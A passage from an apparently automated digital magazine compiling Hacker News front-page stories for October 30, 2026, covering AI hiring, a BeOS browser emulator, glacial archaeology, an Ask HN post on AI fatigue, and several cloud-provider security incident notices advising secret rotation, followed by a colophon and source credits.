And that bet paid off: His firm made early investments in startups worth billions, including OpenAI, which is currently raising up to $30 billion at a $1.25 trillion valuation.

These days, Kushner could easily hire industry veterans with glowing résumés—but he’d still rather “find that young, hungry person.”

Alon Chen, founder and CEO of Tastewise—a generative AI platform trusted by PepsiCo, Nestlé, and Mars—is also actively looking for Gen Zers with zero experience.

“I’m hiring entry-level because they have no boundaries or limitations in how they think about the world,” Chen told Fortune. “They’re almost like AI natives themselves, having been born and raised in this new realm of opportunities. And I see some of the best ideas coming from the younger generation that have not yet been in the job market.”

And Will.i.am has reached a similar conclusion. The Grammy-winning Black Eyed Peas frontman might be best known for his chart-topping hits, but behind the scenes, he’s a serious investor too. He backed Tesla, OpenAI, and Pinterest before they became household names—and now, he’s betting on Gen Z for his next investment.

Why? He believes the next big tech breakthroughs will come from young innovators at MIT and Stanford. “They’re young kids, and they’re native to this,” Will.i.am told Fortune. “So you want to hunt for that. That’s the only thing I’m focused on.”

And Patel told Fortune that the trend toward hiring Gen Z will only continue, thanks to AI.

“The only way for us to keep accelerating is to make sure we’re surrounded by people with a broad range of experience,” he said. “Roughly one-third of my team is experienced, scaled operators who understand how the Cisco engine works. The second third are systems thinkers from the market who bring the outside-in perspective. And the final third is made of entrepreneurial founders, CEOs, and engineers who are AI-native who operate in founder mode.”

“Either of these groups by themselves aren’t nearly as potent as when all three work together. It’s what creates magic.”

The Daily Front Page 21 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — BeOS, Booted Again
article

Infinite Mac: BeOS

by ecliptik·▲ 144 points·57 comments·blog.persistent.info ↗
you can now run many BeOS versions in the browser

tl;dr: You can now run many BeOS versions in the browser at Infinite Mac, my site where you can experience the Macintosh Cinematic Universe from 1984 to 2005. The installs are full peers to their Mac cousins: you can boot them instantly (large disks are streamed in), play around with pre-installed software from Infinite HD, insert CD-ROMs from the Internet Archive, and save your work on the “Saved HD” drive.

BeOS was a multimedia-focused, multi-tasking and multi-threaded OS that was eventually ported to the Power Macintoshes of the mid-90s. It impressed many in the Mac community, including Apple itself, who considered acquiring Be, the company that had created it. If you’ve been following the saga of Apple’s search for a next-generation operating system, this lets you see what the road not taken was like.

BeOS R5 running inside Infinite Mac, showing GL Teapot, Mandelbrot, Gobe Productive, Terminal, image viewer and CPU monitor.

Getting BeOS Running

After the last somewhat involved (though still satisfying) project on Infinite Mac, I was looking for a quicker win. BeOS had been on my radar for a while, and (unlike A/UX) I had a personal connection to it: I remember spotting a BeBox in Akihabara, making my Mac cosplay as it with BeView, and eventually dual-booting BeOS on my Power Macintosh 8500. DingusPPC, an emulator I had already integrated, was making good progress on running BeOS, so it seemed like adding it to the site would be mostly a matter of preparing some additional disk images.

Initially it appeared to be as straightforward as I had hoped; I added a Power Macintosh 7300 configuration (one of the Power Macs that was officially supported), found an install CD, made a disk image, and was up and running. But as I used it more and started to install additional versions, I began to find a lot of small bugs and edge cases:

  • The BeOS boot loader thought that all modifier keys were being held down due to a bug in the ADB emulation; this made it present the (ugly, PC BIOS-like) partition choice screen every time.
  • When changing the screen depth, there are two hardware components that need to be notified: the video controller and the digital-to-analog converter. DingusPPC had been accidentally relying on the order that Mac OS sent these notifications in; BeOS happened to make the opposite choice and would end up with a corrupted display.
  • Early versions of BeOS did video memory updates in little-endian mode1; DingusPPC was missing support for that hardware capability.
  • Later versions of BeOS could mount HFS partitions, but they were having trouble with the volumes that I generated via the machfs Python library. It turned out that BeOS was (correctly) stricter than Mac OS about how some data structures should be populated.
  • And so on – most of the commits that I upstreamed to DingusPPC over the past month were in a quest for better BeOS compatibility.

Infinite Mac emulating BeOS R5 emulating System 7.6.1 running Speedometer
The best of both worlds?

SheepShaver, a Power Macintosh emulator that is still around today (and that Infinite Mac also embeds), originated on BeOS. Mostly for the fun of another layer of inception/emulation, I wanted to make sure that it worked too. As it turned out, it also required a compatibility fix – it relied on an edge case of how the ROM is mapped to physical memory addresses that DingusPPC did not accurately model.

There is a pattern to most of these bug fixes: DingusPPC (and Infinite Mac) have been mostly focused on running Mac OS, and thus accidentally became dependent on its quirks or implementation choices. Adding an independently developed operating system to the mix exercised new paths, and ended up improving the accuracy of the emulated hardware. To be clear, DingusPPC was pretty close out of the box; kudos to its maintainers. I believe that, with this work, it’s the only emulator2 that can run PowerPC versions of BeOS. I’m also hopeful that this will help with bringing up alternate operating systems like MkLinux (which I also have memories of) and Rhapsody.

Infinite Mac custom instance dialog with a BeOS control appearance.

On the Infinite Mac side, there were obvious changes like a “BeOS” appearance for my custom controls and collecting software for the library. I also needed to overlay some dynamically generated content on the disk to get the OS to preselect a screen resolution that matches the browser window’s (similar to what was done for A/UX). An AI agent (still Codex for me) was once again helpful for this type of fiddly reverse-engineering task: it’s one thing to observe that the OS stores a file on disk with the screen size; it’s another to be able to reproduce all its nuances, especially as the format changed with later releases.

Developer Release 8.2, the initial BeOS version for Power Macs, had a time bomb that kept it from booting after April 1, 1997. This was not just to create a sense of urgency; it shipped with a licensed font renderer that Be could not distribute indefinitely. DR8.3 addressed this, but to make that notable first version bootable, I did end up relying on the custom date support to hardcode a working date when choosing that disk.

BeOS Impressions

Though I did kick the tires of BeOS back when it was current, I don’t recall using it enough to form any opinions beyond “this is fast; I miss all my third-party software.” About This Particular Macintosh does have contemporary coverage, including Be’s first and second appearances at Macworld Expo Boston, and reviews of R3 and R4.5; they make for interesting reading. This video released by Be itself also has a walkthrough of what they considered its strengths.

Looking at it with 2026 eyes, I am still struck by its speed – it’s fast to boot and to use, especially when compared with its contemporary Mac OS releases that do so much less (e.g. live window dragging did not appear until Mac OS X). The POSIX subsystem and the Unix-like shell also feel modern (unlike A/UX’s) – I had no trouble using the terminal to poke around. There’s also plenty of innovation, though some of it (BFS with its attributes and live queries) is more interesting than the rest (replicants are a precursor to widgets, but I couldn’t think of a use for them).

It also feels like a developer-focused and under-construction system: many of the included apps are technology demos (though who doesn’t love a Utah teapot), while a contemporary Be homepage links directly to the developer release notes and discusses CodeWarrior releases and access to the bug tracker. The unfinished nature extends to third-party software too – I stumbled across some BeOS software on this Amiga magazine CD, and most of it had a “version 0.1” feel, either literally or figuratively. To be fair, I did find some more fleshed-out software, for example, Gobe Productive from the former ClarisWorks team. This and other software is on Infinite HD if you’d like to try it out (preferably in later OS versions).

The interface seemed novel at the time, though I wonder how it would have held up3. The distinctive tabbed window titles look neat, but they have a reduced draggable area, so I’d have to think harder every time I wanted to move a window. And using a hand as the default cursor makes clicking feel less precise than a traditional arrow (just which of the pixels on the “finger” is the hotspot?). Other parts of the UI feel like a not-fully-coherent Windows/Mac hybrid, with a Deskbar that can emulate a Start menu4, Alt key accelerators on menu items, but also spring-loaded folders and a spatial Finder Tracker.

Speaking of the Tracker, I had not realized that Be had open-sourced it (and even incorporated changes from the open-source version). This was around the time that Be pivoted away to internet appliances – there’s no need to invest engineering resources in a file manager if all that’s exposed is one full-screen browser app. This interview with the Tracker developer has more of the backstory.

OPENSTEP 4.0 and BeOS DR8.2, side-by-side in Infinite Mac's disk browser
Do your own bake-off: NeXT vs. Be

NeXTStep, by comparison, feels more mature. It had gone through some similar churn (proprietary hardware to off-the-shelf PCs, company strategy shifts), but, perhaps because it had more time, it handled things a bit more gracefully. For example, NeXT supported “fat” binaries that could run on 68K, Intel, PA-RISC and other architectures. On BeOS they had to be separate executables, making the user choose which to run and complicating distribution (this made it harder for me to find software to include in Infinite HD). Worse yet, you also had to have parallel disk partitions on CD-ROMs: BFS used the host endianness, so disks written by a PowerPC install could not be read by an Intel one, or vice versa. But my pro-NeXT bias may be due to knowing which OS Apple ended up picking.

Other Site Improvements

It’s only been a short while since the last update, but I did squeeze in a couple of quality-of-life improvements. You can now take screenshots and record videos (with sound) of the emulated machine’s screen. This gives you a high-fidelity way to capture image content, since it’s a direct dump of what would have been shown on the screen.

Infinite Mac CD-ROM drawer showing a lot of system CDs.

I also expanded the collection of operating system CD-ROMs with items like the Rhapsody and Mac OS X developer previews. While they’re aspirational for now (DingusPPC can’t run them yet), they do satisfy my completionist tendencies. These CDs are mirrored to and served from my own Cloudflare R2 bucket – the Internet Archive is an incredible resource (you can donate to them), but streaming from it has been increasingly flaky. I don’t want to add to the problem, and thanks to my sponsors, I can afford to serve a few gigabytes.

As for what’s next, with this alternate Mac timeline covered, it may be time to explore a prequel.

  1. TIL that this was possible – Apple generally ran the PowerPC and did everything on its machines in big-endian mode. There’s even a patent about this controller capability. ↩
  2. Though while I was working on this, BeBox was vibed into existence. ↩
  3. Then again it looks like Haiku has preserved it almost verbatim, so it definitely has a long-lasting appeal to some. ↩
  4. If you can find the 3-pixel-wide draggable area to move it to the bottom. ↩
The Daily Front Page 22 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Ice Archive
article

The oldest ice disappears and the Stone Age emerges from it

by dxs·▲ 134 points·56 comments·sciencenorway.no ↗
6,000-year-old arrowheads are now emerging from the melting ice

'We have been at the edge of the ice. We have seen it happening. And we are witnesses to a rapidly changing archaeological landscape,' write the glacial archaeologists. Finds from the Viking Age are becoming scarce, while 6,000-year-old arrowheads are now emerging from the melting ice.

Image of a hand holding an ancient arrowhead. In the background, a snow patch and numerous rocks can be seen.

A 5,000-year-old arrowhead made of slate, found together with parts of its shaft right at the edge of the ice. Domesticated reindeer can be seen on the ice patch in the background.

(Photo: Åsa Rommetveit Celius / Innlandet County Municipality / Secrets of the Ice)

For exactly 20 years, archaeologists working with Secrets of the Ice have been recovering and preserving artefacts emerging from the ice in the mountains of Innlandet, eastern Norway.

Until now, most of the objects have been up to 2,000 years old. Many date from the Viking Age.

But the ancient ice is now beginning to melt.

And within this oldest ice lie the oldest finds: large quantities of arrow shafts and arrowheads from the Bronze Age and the Stone Age.

Image of a hand holding an arrowhead made of bone.

A bone arrowhead found together with parts of its shaft right beside the ice. Approximately 5,000 years old.

(Photo: Frys Film / Innlandet County Municipality / Secrets of the Ice)

Close-up of an arrowhead made from a freshwater mussel shell. It is black and white and has begun to split apart.

An arrowhead made from a freshwater mussel shell, dating from the Bronze Age, approximately 3,600 years old. The arrowhead is fragile and has begun to split apart.

(Photo: Frys film / Innlandet County Municipality / Secrets of the Ice)

Here comes the Stone Age

One of the oldest finds from this year's first field expedition is an arrow with an arrowhead and shaft made of slate.

By comparing it with previously discovered arrows, archaeologists estimate that it is between 5,000 and 6,000 years old.

The fact that arrows are emerging from the melting ice is not surprising. Over the 20 years they have been working here, the archaeologists have found extensive evidence of reindeer and reindeer hunting. They have also found clothing, shoes, dead packhorses, and a pair of skis.

The preservation conditions in the ice have meant that organic material, such as wood, leather, and textiles, have also survived.

“This year, we found 48 prehistoric arrows. That's a lot,” Espen Finstad, who leads Secrets of the Ice, tells Science Norway.

He explains that, with these latest discoveries, more than 100 arrowheads and arrow shafts have now been recovered from a single ice patch over the years.

The oldest arrowheads are made from slate, freshwater mussel shells, and bone. More recent arrowheads are made from iron and are 'only' between 1,000 and 1,500 years old.

An archaeologist lies on her stomach on the ice to photograph an arrow shaft lying in the ice.

Archaeologist Åsa Rommetveit Celius from Innlandet County Municipality documents the discovery of a 1,000-year-old arrow shaft.

(Photo: May-Tove Smiseth / Innlandet County Municipality / Secrets of the Ice)

Kjetil Loftsgarden holds a complete arrow approximately one metre long.

Archaeologist Kjetil Loftsgarden from the Museum of Cultural History in Oslo holds a complete 1,800-year-old arrow with a bone arrowhead and a wooden shaft.

(Photo: Espen Finstad / Innlandet County Municipality / Secrets of the Ice)

A brutal backdrop

But this year’s fieldwork carries an added sense of gravity.

Finstad explains that the work of recovering archaeological artefacts from the ice has always carried a certain duality.

“It’s fun going around looking for things. It’s exciting, and finding something is just really cool," he says.

Yet behind the excitement lies the reality of climate change. Finstad points to the recent landslide in Nepal and the glacier collapse in Jotunheimen.

“We have always acknowledged this contradiction and the reality behind our work. But this is the first time it has truly affected us on an emotional level,” Finstad says, adding:

“This year, there was a much deeper sense of seriousness and sadness. Only patches of ice remain where we once had large ice patches. It's brutal. And this year, that reality struck us more forcefully than ever before."

Image of the ten participants in the fieldwork. The mountains can be seen in the background.

Participants in the field from the Glacier Archaeology Programme in Innlandet, Secrets of the Ice.

(Photo: Frys Film / Innlandet County Municipality / Secrets of the Ice)

Tents in the mountains, several of them red and some brown. The sun is rising, and the sky is blue with some cloud cover. Fresh snow covers the ground.

The glacial archaeologists’ tent camp in Jotunheimen at sunrise. Fresh snow on the ground.

(Photo: Espen Finstad / Innlandet County Municipality / Secrets of the Ice)

Finstad and his colleagues estimate that most of the ice patches containing archaeological artefacts will have disappeared within the next 20 years.

“There has been ice here for 6,000–7,000 years. Nature has been warning us and sending signals for many years. But now it's giving up. Now it is simply going to melt,” says the glacial archaeologist.

'For thousands of years, ancient ice has safely preserved unique objects from the past. Now that ice is disappearing,' the archaeologists write in a press release about the finds. 'We have been at the edge of the ice. We have seen it happening. And we are witnesses to a rapidly changing archaeological landscape.'

Dramatic mountain landscape. An ice patch on the right, a small lake on the left. An archaeologist walks down the mountainside.

The lower section of one of the ice patches at Hanklefonne. It was once large. Now only a small, steep section remains. 'The ice is disappearing much faster than we expected. The landscape has changed dramatically, and large areas that were recently covered by ice are now ice-free,' the glacial archaeologists write in a press release.

(Photo: Espen Finstad / Innlandet County Municipality / Secrets of the Ice)

More fieldwork ahead

Finstad and his colleagues are planning more fieldwork in the coming weeks, weather permitting.

So far, they have secured finds in the Kvittingskjølen mountain area of Jotunheimen, specifically at Langfonne, Storefonne, and Hanklefonne.

Several of the finds are already on display at the Norwegian Mountain Centre in Lom, just a few days after they were discovered.

The Daily Front Page 23 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Ask the Readers: AI Fatigue
ask hn

Ask HN: Are you tired too in this AI era?

by mellosty·▲ 144 points·139 comments·news.ycombinator.com ↗

Although AI lets us do much more, I feel considerably more tired than before.

We need to keep track of many things happening in parallel and read enormous amounts of generated text. The constant guardrailing, decision making, and context switching overload me.

I am pretty sure most of you are experiencing the same as me, but: Have you found ways of using AI without increasing mental overload?

I would love to hear your tips, but still be relevant in this AI era, so my boss does not fire me.

Join the discussion on Hacker News →

The Daily Front Page 24 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Incident Desk
article

Northflank Breached

by js4ever·▲ 416 points·309 comments·status.northflank.com ↗

Security incident

  • Update · October 31, 2026 at 1:04 AM UTC

    We have enabled audit logs for all customers, including free users.

  • Update · October 30, 2026 at 11:38 PM UTC

    Users have reported unauthorised use of AI API keys supplied to the Northflank platform.

    If you have not already rotated your user-provided secrets stored in Northflank, please do so immediately. Revoke existing credentials with their issuing providers, generate replacements, and update the affected secrets and workloads in Northflank. Review your AI provider usage and billing logs for unexpected activity, and report any suspicious usage to Northflank support and the relevant provider.

    These reports may be consistent with the broader pattern of attacks targeting AI credentials. Similar IP addresses are contained in this article Wiz’s “Black October” report.

  • Update · October 30, 2026 at 7:28 PM UTC

    Our investigation is ongoing. We have no further confirmed findings to share at this time.

    Our guidance remains unchanged: assume all environment variables have been compromised and rotate all secrets and credentials immediately, including those in workloads, secret groups and global secrets. Disable public access to addons where enabled.

    We will share further updates as more information is confirmed.

  • Update · October 30, 2026 at 3:12 PM UTC

    Secret rotation on Postgres and MongoDB has been enabled for all users. We recommend disabling public expose on addons if you have enabled that.

    All users should assume their environment variables are decrypted and begin rotation immediately.

    Secrets on workloads

    Secret groups

    Global secrets

    Multiple users are confirming that their AI keys have been used.

  • Identified · October 30, 2026 at 1:58 PM UTC

    Assume all environment variables have been decrypted. Disable/rotate all keys.

  • Investigating · October 30, 2026 at 1:40 PM UTC

    Rotate environment variables immediately.

    11:43 UTC: Wiz threat alert

    11:44 UTC: Northflank engineers review the alert

    12:02 UTC: Initial network policy patch

    12:50 UTC: Additional patching deployed

    13:00 UTC: Wiz CIRT support requested

    13:05 UTC: Additional patching deployed

    13:05 UTC: Additional patching deployed

The Daily Front Page 25 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Incident Desk
article

Bunny CDN Security Incident

by SondreDag·▲ 216 points·43 comments·status.bunny.net ↗

Update

We're providing an update on the reissuance of managed TLS certificates for custom domains.

Reissuance is ongoing and progressing steadily. To avoid any disruption to the delivery of your content, certificates are being reissued gradually in controlled batches, and each reissued certificate uses a new private key. This is taking longer than our initial estimate, and we now expect the process to be completed by the end of October 31. Your existing certificates continue to be served without interruption until they are replaced, and no action is required from customers using managed certificates.

If you manage your own TLS certificates, we continue to recommend revoking and reissuing them with new private keys as a precaution.

Neither our investigation nor the provider's ongoing investigation has found any new evidence of unauthorized access to our server. We'll post a further update on our status page once reissuance is complete.

If you have any questions or need help with managing your TLS certificates, our support team will be happy to assist.

Monitoring

We're reaching out to inform you of a security incident involving one of our infrastructure providers, the steps we've taken, and what this means for you.

  • What happened and how we responded

Last week, one of our infrastructure providers reported unauthorized access involving third-party server management software. One of our CDN nodes, located in Armenia, was hosted on a server supplied by this provider.

After receiving the alert from the affected provider, our engineering team took immediate action. Within 20 minutes, we stopped routing traffic through the server. We then reviewed and preserved the relevant security logs for investigation, securely wiped the server, and revoked its access to our other systems. The affected server has been permanently removed from our infrastructure.

Our investigation found no evidence of unauthorized access to the CDN node or any of its data. The infrastructure provider has also found no evidence that our server was accessed, but continues to investigate the incident.

  • What this means for your data

While neither investigation has found any indication of unauthorized access to our server, we cannot completely rule out the possibility.

If unauthorized access to our CDN node did occur, the potentially exposed information would have been: temporarily cached CDN content, Pull Zone configurations, and TLS certificates stored on that server.

As an additional precaution, we have revoked and reissued all TLS certificates for bunny.net platform domains (b-cdn.net and bunny.run). Reissuance of managed TLS certificates for custom domains is ongoing and is expected to be completed within the next 24 hours. No action is required from customers using managed certificates. We will post a further update on our status page once this process is complete.

If you manage your own TLS certificates, we recommend revoking and reissuing them with new private keys as a precaution.

No other customer data, including bunny.net account data, was stored on the server in question, and no internal systems were affected.

  • What happens next

We’re closely monitoring our infrastructure and working with the affected provider as the investigation continues. Should any new findings affect our customers, we will provide an update via email and on our status page.

At bunny.net, we understand the trust you place in us to keep your content secure, and we take that responsibility seriously. If you have any questions or need help with managing your TLS certificates, our support team will be happy to assist.

The Daily Front Page 26 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Incident Desk
article

Linode Security Incident

by lacoolj·▲ 179 points·99 comments·status.linode.com ↗

Update

We are in the process of deploying mitigations for the underlying known attack vector while we continue to analyze any other possible impact. Customers are strongly advised to apply OS updates from their upstream provider to their workloads as soon as those become available. At this time, we have no evidence of this vulnerability being exploited on the Akamai Compute platform.

Update

We are continuing to investigate this issue. The appropriate subject matter experts are engaged. Subsequent updates around mitigation status will be posted as progress is made.

Investigating

Akamai is aware of the recently published remote code execution CVE-2026-98432. We are actively investigating and taking the appropriate mitigation actions, while we continue to monitor our platform in parallel. If you have questions or are experiencing an impact due to this issue, please reach out to us in a ticket at https://cloud.linode.com/support.

article

GitHub Incident with Actions, Pages, and Webhooks

by damontal·▲ 150 points·61 comments·githubstatus.com ↗

Resolved

This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.

Monitoring

The degradation affecting Actions, Pages and Webhooks has been mitigated. We are monitoring to ensure stability.

Update

All affected services have recovered following mitigation. We continue to investigate root cause.

Update

We continue to investigate delays affecting Actions workflows, Pages deployments, and webhook events, along with errors affecting code search and live updates. We have taken mitigation steps. Actions processing and Pages deployments are showing signs of recovery, but impact has not fully resolved. We are monitoring recovery and investigating the underlying cause.

Update

Pages is experiencing degraded performance. We are continuing to investigate.

Investigating

We are investigating reports of degraded performance for Actions and Webhooks

This incident affected: Webhooks, Actions, and Pages.

The Daily Front Page 27 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Also on the Front Page
The Daily Front Page 28 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Colophon

That's the Front for Today

Issue No. #261030 — Friday, October 30, 2026 — went to press 2026-10-31 at 07:52 UTC.

About This Magazine

The Daily Front is a daily digital magazine assembled from the stories that reached the front page of Hacker News on Friday, October 30, 2026. Headlines, points, and comment counts are recorded as they stood at press time. All articles remain the property of their original authors — every piece links back to its source and its discussion thread.

How It Was Made

Fetched, cleaned, and typeset by an automated pipeline. An editor model laid out the pages and chose the highlights; a second read a handful of the day's stories and briefed the cover illustrator — 32 model calls and 218k tokens in total. Set in Jacquard 12, Playfair Display, Source Serif 4, and IBM Plex Mono, all served via Google Fonts under the SIL Open Font License.

The Cover

The cover illustration was commissioned with this prompt:

In a glass-walled server room, a technician reaches toward a rack as its locked cabinet door hangs open on a tiny, bent connector. Across the floor, bright coins spill from a severed network cable into a clear bubble swelling around the servers; a few coins are caught beneath the bubble’s surface while others escape through a narrow gap. Beyond the glass, workers clutch their retirement envelopes as a suited executive stands beside an empty rescue net, watching the money vanish into the dark.

Render as contemporary digital concept art with painterly hard-soft edge control, dense volumetric light, electric color accents, and a dramatic low-angle cinematic composition. Use a midnight-indigo and cold cyan base, with acid-lime coins and sharp magenta warning accents. Keep the tiny bent connector visibly bearing the open cabinet door; trace the severed cable’s bright coin spill across the floor into a clear bubble swelling around the servers, with coins trapped beneath its surface and others escaping through a narrow gap. Through the glass, workers clutch retirement envelopes while a suited executive stands beside an empty rescue net, watching the money vanish into darkness.

Absolutely no text, letters, numbers, readable symbols, or logos anywhere in the image. Keep the main image subject primarily below the upper 10% of the composition, where a title may be overlaid; the scene may extend naturally underneath that title area.

Production Ledger

StageModelCallsTokens InTokens Out
extractgpt-5.6-luna 28 139,321 54,067
layoutgpt-5.6-terra 1 18,648 2,256
covergpt-6-luna 2 1,669 268
covergpt-image-2.5-flare 1 279 1,372

The Publisher

Published by Johnny.

Support the Press

If The Daily Front brightens your morning, consider supporting its publisher.

Credits & Contact

All content — articles, posts, comments, and the images within them — belongs to its original authors and is reproduced here to point readers back to the source. Full credit goes to those creators; every item links to its original and its Hacker News discussion.

If you are an author and would like your content removed from an issue, write to hi@johnnys.page and it will be taken down.

Feedback is always welcome at the same address: hi@johnnys.page.

Credit where credit is due.

Every page of this issue began as someone else's work — these are the original sources, linked in full.

  1. Backdoor in Claude Code for VS Code extension on the Cursor Marketplace by _chall — phorion.io·HN discussion ↗
  2. US Reps Lead Democratic Resolution Opposing A.I. Bubble Bailout for Big Tech by DeepLogin — progressives.house.gov·HN discussion ↗
  3. AI isn't replacing SREs, it's deskilling them by dorianniemiec — newsletter.signoz.io·HN discussion ↗
  4. The $6.3B Binance hack was pulled off in just 20 minutes by domhudson — wired.com·HN discussion ↗
  5. Claude Code VS Code extension with backdoor released on Cursor marketplace by bashtoni — doublepulsar.com·HN discussion ↗
  6. Herdr has released native app by cherioo — github.com·HN discussion ↗
  7. Azure's Weakest Link – Five Full Cross-Tenant Compromises by swq115 — binarysecurity.no·HN discussion ↗
  8. My favourite PowerMac is a Nintendo Wii by DHowett — virtuallyfun.com·HN discussion ↗
  9. Medicare Will Pay $50k for Your Heart Attack. It Should Pay $100 to Prevent It by brandonb — medpagetoday.com·HN discussion ↗
  10. Through Captain Jean-Luc Picard, Patrick Stewart taught us the measure of a man by apress — bostonglobe.com·HN discussion ↗
  11. The federated code forge by zlliang — tangled.org·HN discussion ↗
  12. Proton's CEO Cancels AI 'Re-Interviews' by cdrnsf — 404media.co·HN discussion ↗
  13. Florilegium: Procedural Flowers in LaTeX by nanna — github.com·HN discussion ↗
  14. US tech stocks see sharp falls over AI cost fears by mindracer — bbc.co.uk·HN discussion ↗
  15. Show HN: A working Nintendo in ~1GB of Qwen weights by dbreunig — github.com·HN discussion ↗
  16. ICE wants its mask back, and hired a company to ask by rdmuser — blog.flokinet.is·HN discussion ↗
  17. Blockchain intelligence firms link North Korea to $6.3B hack on Binance by paulpauper — npr.org·HN discussion ↗
  18. Pico CSS is no longer maintained by henrid — github.com·HN discussion ↗
  19. Cisco gives engineer unlimited AI tokens to rewrite legacy code by taubek — fortune.com·HN discussion ↗
  20. Infinite Mac: BeOS by ecliptik — blog.persistent.info·HN discussion ↗
  21. The oldest ice disappears and the Stone Age emerges from it by dxs — sciencenorway.no·HN discussion ↗
  22. Ask HN: Are you tired too in this AI era? by mellosty — news.ycombinator.com·HN discussion ↗
  23. Northflank Breached by js4ever — status.northflank.com·HN discussion ↗
  24. Bunny CDN Security Incident by SondreDag — status.bunny.net·HN discussion ↗
  25. Linode Security Incident by lacoolj — status.linode.com·HN discussion ↗
  26. GitHub Incident with Actions, Pages, and Webhooks by damontal — githubstatus.com·HN discussion ↗
  27. Backdoors in official Claude Code extensions by dsr_ — cyberplace.social·HN discussion ↗
  28. elect.horse by solarist — elect.horse·HN discussion ↗
  29. Anthropic may not secure investment-grade rating after IPO, Blackstone says by petethomas — ft.com·HN discussion ↗
  30. Show HN: To Honor Sir Patrick Stewart, Enjoy the TNG Episode Guessing Game by francisofascii — tng.episodle.com·HN discussion ↗

Browse all issues in the archive →